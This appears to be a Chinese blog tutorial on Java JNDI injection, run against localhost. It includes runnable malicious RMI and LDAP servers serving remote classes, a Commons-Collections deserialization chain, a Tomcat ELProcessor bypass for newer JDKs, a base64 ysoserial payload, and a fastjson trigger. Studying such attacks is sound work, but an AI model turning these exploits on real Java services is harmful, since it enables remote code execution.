JNDI注入

什么是 JNDI?

JNDI 也就是 Java 命名和目录接口的简称。也就是名字对应一个 Java 对象。在 JNDI 中支持四种服务

  • LDAP:轻量目录访问协议
  • CORBA 通用对象请求代理架构
  • RMI。远程方法调用
  • DNS

JNDI 主要提供了绑定命名和命名查找对象的方法

  • bind:将一个名称绑定到对象
  • lookup: 通过名称来寻找对象

主要原理

将恶意的类/Reference 绑定注册表或者目录结构中,导致受害机器 lookup 远程加载了恶意类

利用方式

JNDI 注入注意包括 RMI 注入、LDAP 协议注入、CORBA 注入

主要利用方式:

  1. 就是目标机器上面的 lookup 方法可控,此时可以将目标机器当作受害的客户端,搭建一个恶意的服务端,让其请求服务端。
  2. 目标机器上注册的 URL 可控,借此攻击目标机器的其他客户端

RMI

恶意服务端攻击

实验 jdk1.8.0_101

这里假设目标机器客户端可控。编写一个恶意的 RMI 服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ServerExp {
    public static void main(String args[]) {

        try {
            // 服务端创建了 注册表,在服务器的 10990 端口
            Registry registry = LocateRegistry.createRegistry(10990);
            // 攻击者的服务器
            String factoryUrl = "http://localhost:10980/";
            // 绑定了恶意类,此时在攻击者服务器上面的 10980 端口部署了恶意类
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            // 在注册表中注册了 Foo 名字, 此时只要客户端 lookup Foo 那么就会导致远程攻击者服务器上面的恶意类进行加载
            registry.bind("Foo", wrapper);
            // 到了这里我们就可知道, JNDI 的攻击利用需要客户端的 lookup 函数可控,此时我们可以直接在攻击者的服务器上面部署 rmi 服务(通过创建注册表),并且绑定恶意类名
            // 或者 Reference 构造器可控
            // 但是同时我们也会被 JDK 版本所限制 8u121 和 8u191 只会许多途径都被 ban 了
            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

并且 javac EvilClass.java 得到的 EvilClass.class 打开 http 10980 端口处的服务

EvilClass.java:

import java.io.IOException;

public class EvilClass {
    static {
    try {
        Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}
}

image-20221031195522022

模拟受害端

JNDILookup.java

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILookup {
    public static void main(String[] args) {
        try {
            // 客户端访问服务器注册的注册表
            Object ret = new InitialContext().lookup("rmi://127.0.0.1:10990/Foo");
            System.out.println("ret: " + ret);

        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

此时一旦调用了 lookup 方法,那么就会导致加载了恶意类从而弹出计算器。

image-20221031195722034

追一下源码,首先在 lookup 方法下打下断点。

image-20221031201432911

跟进 lookup 方法

image-20221031201458506

继续跟进 lookup 方法

可以看见,在这个 lookup 方法中,getRootURLContext 是用了获取传入的 rmi URL 的类的命名,而 getResolvedObj 方法是获得 rmi 的路径或者 IP 地址,然后调用了 ip 地址的 lookup 方法,也把命名传入

image-20221031201624346

继续跟进 var3 的 lookup 方法,可以发现接下来调用的是注册表的 lookup 方法

image-20221031202016999

最后返回注册上下文的 decodeObject 对象。我们跟进这个 decodeObject 方法,看看到底干了什么事情

image-20221031202439222

原来是返回一个 getObjectIntance 意思也很明显了,返回一个 Referenfce 的实例对象,我们看看它是怎么实现的。跟进。然后注意到了这个通过 Reference 获取 Object 制作工厂对象的函数

image-20221031202734761

跟进后发现它直接使用了 NamingManager 的 helper 加载了远程类的类对象和类

image-20221031203016135

它会现先在本地查找 factoryName 进行加载,如果找不到,那么就会通过 codebase 继续加载。而 codebase 就行远程的路径

image-20221031210529200

我们跟进 clas = helper.loadClass(factoryName, codebase);

image-20221031210623953

最终就是 newInstance 也就是反射获取构造器,最终返回加载的,从而弹出了计算器

image-20221031210811631

这种攻击方式需要满足这些条件:

  • 可以控制客户端去连接我们的恶意服务端
  • 客户端允许远程加载类

满足这些条件有时候还是挺苛刻的

恶意客户端攻击

既然提到了 RMI 恶意的服务端攻击客户端,那也顺带提一下客户端攻击方式吧。

我们知道客户端是对服务端进行远程方法调用,同时客户端也可以传入一定的参数,而且如果传入的是对象,那么要求可序列化,而在服务端接收到客户端传来的方法参数时,自然地也会进行反序列化处理。此时如果目标服务端中存在可构造序列化执行系统命令的依赖或组件,那么则可以造成服务端的反序列化漏洞。首先我们再来编写一个服务端。注意这里的 RMIImpl 中的 hi 方法需要接收一个 Object 对象。

public class RMIServer {
    public interface RMIInterface extends Remote {
        String hello() throws RemoteException;
        String hi(Object name) throws RemoteException;
    }
    public static class RMIImpl extends UnicastRemoteObject implements RMIInterface {
        protected RMIImpl() throws RemoteException {
            super();
        }
        public String hello() throws RemoteException{
            System.out.println("hello");
            return "Hello, world!";
        }

        public String hi(Object name) throws RemoteException {
            return "name";
        }
    }

    public static void main(String[] args) throws RemoteException, MalformedURLException {
        RMIImpl rmi = new RMIImpl();
        LocateRegistry.createRegistry(10999);
        Naming.rebind("rmi://127.0.0.1:10999/Hello", rmi);
        System.out.println("Server running...");
    }
}

而我们引入 cc 依赖

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>

接下来就简单用 cc-7 链编写一下客户端

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_exec);
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, new ConstantTransformer(0));
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, new ConstantTransformer(0));
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        setValue(lazyMap1,"factory",chainedTransformer);
        setValue(lazyMap2,"factory",chainedTransformer);
        lazyMap2.remove("yy");
        RMIServer.RMIInterface lookup = (RMIServer.RMIInterface) Naming.lookup("rmi://127.0.0.1:10999/Hello");
        // 传递恶意构造的对象
        lookup.hi(hashtable);
    }
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功触发

idea64_nsoPq795jH

这种客户端攻击方式比较依赖于服务端的环境。

LDAP 利用

其实大致就是跟 RMI 换了一个服务罢了。

起一个 LDAP 服务需要导入 ldapsdk 的依赖

<dependency>  
 <groupId>com.unboundid</groupId>  
 <artifactId>unboundid-ldapsdk</artifactId>  
 <version>3.2.0</version>  
 <scope>test</scope>  
</dependency>

LdapServer.java

恶意的服务端

package org.example;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {
        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 12345;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

在 8000 端口起一个 Http 服务,准备好恶意的类

受害机

package org.example;

import javax.naming.InitialContext;

public class JNDILdapClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:12345/EvilObject");
    }
}

运行弹出计算器

image-20221031212913083

其实我们通过打断点的方式也可以发现最后也是到 NamingMangager.java 的 getObjectFactoryFromReference 方法。但是它是先从本地进行查询加载的类。没有的话就会 URL 加载

具体的调用栈:

image-20221031212523188

聪明的小伙伴现在大概都知道了,不就是让远程加载类(codebase)造成的 JNDI 注入吗,不让它加载不就没有这个漏洞了。因此,在相对较高版本的 jdk 默认是不信任 codebase 的

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本 Java JNDI 的利用

本地类的利用

既然不让远程加载类了,那么我们只能考虑本地上的能够利用的类。

比如说 org.apache.naming.factory.BeanFactory 类。实现了 javax.naming.spi.ObjectFactory 接口的 getObjectInstance 方法。

利用条件也只是能够控制 lookup 的 url

需要依赖 Tomcat 中的 jar 包为:catalina.jar、el-api.jar、jasper-el.jar。

添加依赖

    <!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-core</artifactId>
      <version>9.0.4</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>9.0.40</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-jasper -->
    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-jasper</artifactId>
      <version>9.0.40</version>
    </dependency>
    <dependency>

恶意服务端代码

JNDIBypassHighJava.java

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 10990");
        Registry registry = LocateRegistry.createRegistry( 10990);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
                true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
                ".newInstance().getEngineByName(\"JavaScript\")" +
                ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        System.out.println("[*]Evil command: calc");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

受害机

package org.example;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIBypassHighJavaClient {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:10990/Object";
        Context context = new InitialContext();
        context.lookup(uri);
    }
}

主要原理就是通过加载 javax.el.ELProcessor 并且传入了 forceString 内容,从而调用了 el 表达式执行代码

image-20221031214804609

image-20221031214820474

image-20221031214952895

最终执行那一串 EL 内容

image-20221031215246803

弹出计算器

image-20221031215313064

LDAP 反序列化利用

同时我们注意到,因为禁用了远程类加载,那么在 JNDI 注入的过程中这一步就不会得到结果

image-20221031220648570

image-20221031220756105

但是同时我们也注意到下面一行代码中的 deserializeObject 似乎是反序列化?跟进看看,就发现了 readObject 方法

image-20221031221114819

这也就是说,只要目标机器上面存在合适的依赖,能够构成反序列化链,那么就会造成反序列化漏洞。

这里添加 Common-Collections 3.2.1 的依赖,并且用 ysoserial 生成 CC6 链的 Payload

java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64

恶意服务端代码

package org.example;

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://127.0.0.1:8000/#ExportObject";
        int port = 12345;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            // Payload1: 利用 LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

            // Payload2: 返回序列化Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

此时只要能够控制目标机器的 lookup 方法指向恶意服务器的 ladp://IP:PORT/#CLASSNAME 那么就会加载 javaSerializedData 从而弹出计算器

当然除了 lookup 也可以尝试借助 fastjson 漏洞作为入口点

 String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:12345/ExportObject\",\"autoCommit\":\"true\" }";  
 JSON.parse(payload);  

运行即可访问 ldap 服务器并且借助目标机器上面存在的 Gadget 完成 RCE

不过,在 jdk20 后 com.sun.jndi.ldap.object.trustSerialData 默认为 false,这也就意味着我们只能打 LDAP+Reference Factory 的方式。

MLet

该类在 javax.management.loading.MLet ,JDK 自带。继承了 URLClassloader 。

        MLet mLet = new MLet();
        mLet.addURL("http://127.0.0.1:8888/");
        Class<?> aClass = mLet.loadClass("Calc.class");

相当于远程加载类,但必须要实例化才能执行代码

    public static void main(String[] args) throws ClassNotFoundException, ServiceNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        MLet mLet = new MLet();
        mLet.addURL("http://127.0.0.1:8888/");
        Class<?> aClass = mLet.loadClass("Calc.class");
        Object o = aClass.getConstructor().newInstance();
    }

在 8888 端口处部署了 Calc.class

image-20221104191130598

由于必须实例化才有用,因此不能通过 JNDI 的 Lookup 进行 RCE。但是我们可以通过该类进行类探测。如果类在目标机器存在,那么在自己部署的 http 服务就不会收到请求信息。如果类在目标机器上不存在,那么就会收到请求信息。如:

package org.beanfactory;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.management.ServiceNotFoundException;
import javax.management.loading.MLet;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.lang.reflect.InvocationTargetException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UseMlet {
    public static void main(String[] args) throws ServiceNotFoundException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, RemoteException, NamingException, AlreadyBoundException {  System.out.println("[*]Evil RMI Server is Listening on port: 10990");
        Registry registry = LocateRegistry.createRegistry( 10990);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = tomcatMLet();
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);

    }
    private static ResourceRef tomcatMLet() {
        ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
        ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
        ref.add(new StringRefAddr("b", "http://127.0.0.1:8888/"));
        ref.add(new StringRefAddr("c", "java.rmi.registry.Registry"));
        return ref;
    }
}

显然 java.rmi.registry.Registry 在机器上存在,机器 Lookup 就不会收到请求。反之就会如下:

image-20221104191657593

参考:

https://drun1baby.github.io/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/

https://tttang.com/archive/1405/#toc_0x03-jdbc-rce

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇